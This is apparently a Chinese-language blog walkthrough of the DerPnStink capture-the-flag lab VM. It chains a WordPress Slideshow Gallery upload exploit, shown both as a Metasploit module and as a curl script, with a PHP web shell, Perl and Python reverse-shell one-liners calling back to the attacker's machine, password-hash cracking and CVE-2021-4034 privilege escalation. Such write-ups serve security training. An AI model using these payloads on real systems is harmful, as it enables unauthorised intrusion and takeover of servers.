DerPnStink打靶--wpscan漏洞利用
DerPnStink打靶--wpscan漏洞利用
0x01 端口扫描
nmap 192.168.101.27

0x02 信息搜寻
curl http://192.168.101.27/
发现一个flag

查看网页后发现<script type="text/info" src="/webnotes/info.txt"></script>
查看后发现<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
意思是要我们添加本地的hosts文件,才能访问博客!
执行echo 192.168.101.27 derpnstink.local >> /etc/hosts即可添加成功。
0x03 获取shell
dirb http://derpnstink.local/
存在http://derpnstink.local/weblog/wp-admin/
说明是个wordpress站点。直接使用wpscan这个工具对站点进行扫描
wpscan --url http://derpnstink.local/weblog/ -U -e --api-token xxx
xxx为自己注册的密钥,没有的去官网注册一个账号即可获得。
方法一
发现是Slideshow Gallery相关的漏洞。直接上msf,里面有相关模块的利用代码
msf利用:
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhosts 192.168.4.58
set targeturi /weblog
set wp_user admin
set wp_password admin
run

获得shell!
方法二
34514漏洞利用
#!/bin/bash
HOST=derpnstink.local
BLOG=weblog
USER=admin
PASS=$USER
VULN="wp-admin/admin.php?page=slideshow-slides&method=save"
FILE=$1
# authenticate
curl \
-s \
-c cookie \
-d "log=$USER&pwd=$PASS&wp-submit=Log" \
http://$HOST/$BLOG/wp-login.php
# exploit
curl \
-s \
-b cookie \
-H "Expect:" \
-o /dev/null \
-F "Slide[id]=" \
-F "Slide[order]=" \
-F "Slide[title]=$(mktemp -u | sed -r 's/^.*tmp\.(.*)$/\1/')" \
-F "Slide[description]=" \
-F "Slide[showinfo]=both" \
-F "Slide[iopacity]=70" \
-F "Slide[galleries][]=1" \
-F "Slide[type]=file" \
-F "image_file=@$FILE;filename=$FILE;type=application/octet-stream" \
-F "Slide[image_url]=" \
-F "Slide[uselink]=N" \
-F "Slide[link]=" \
-F "Slide[linktarget]=self" \
-F "submit=Save Slide" \
http://$HOST/$BLOG/$VULN
# cleanup
rm -rf cookie
保存为upload.sh
将以下内容保存为cmd.php
<pre><?php echo shell_exec($_GET['cmd']);?></pre>
执行:
./upload.sh cmd.php
然后访问:http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/cmd.php
这时候正常上传了一个cmd的php恶意代码!
用perl的一句话:
perl -e 'use Socket;$i="192.168.101.25";$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
kali开启:
nc -vlp 6677
然后浏览器访问:
http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/cmd.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.101.25%22%3B%24p%3D6677%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
这时候拿到了一个反弹shell!
0x04 内网信息收集
利用python或其他命令反弹一个shell即可。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.25",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提升获得的shell,kali要在bash中进行
ctrl+z
stty raw -echo
fg
搜寻mysql账号密码为root/mysql,发现unclestinky用户,对其密码$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41暴力破解后得到wedgie57
echo "$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41" > hash
john hash --wordlist=/usr/share/wordlist/rockyou.txt
尝试使用stinky/wedgie57登录ftp,结果惊讶的发现登录成功。然后在里面发现key.txt,
文件类型是PEM RSA private key,意思是一个RSA密钥,使用密钥就可以不用密码进行ssh登录了。
0x05 ssh登录
首先将获得的key.txt更改权限
chmod 400 key.txt
ssh登录
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i key.txt stinky@192.168.101.27

成功登录。
进入桌面即可获得flag。
0x05 提权
使用cve-2021-4034进行提权。由于靶机中存在gcc所以可以执行。

提权成功。

浙公网安备 33010602011771号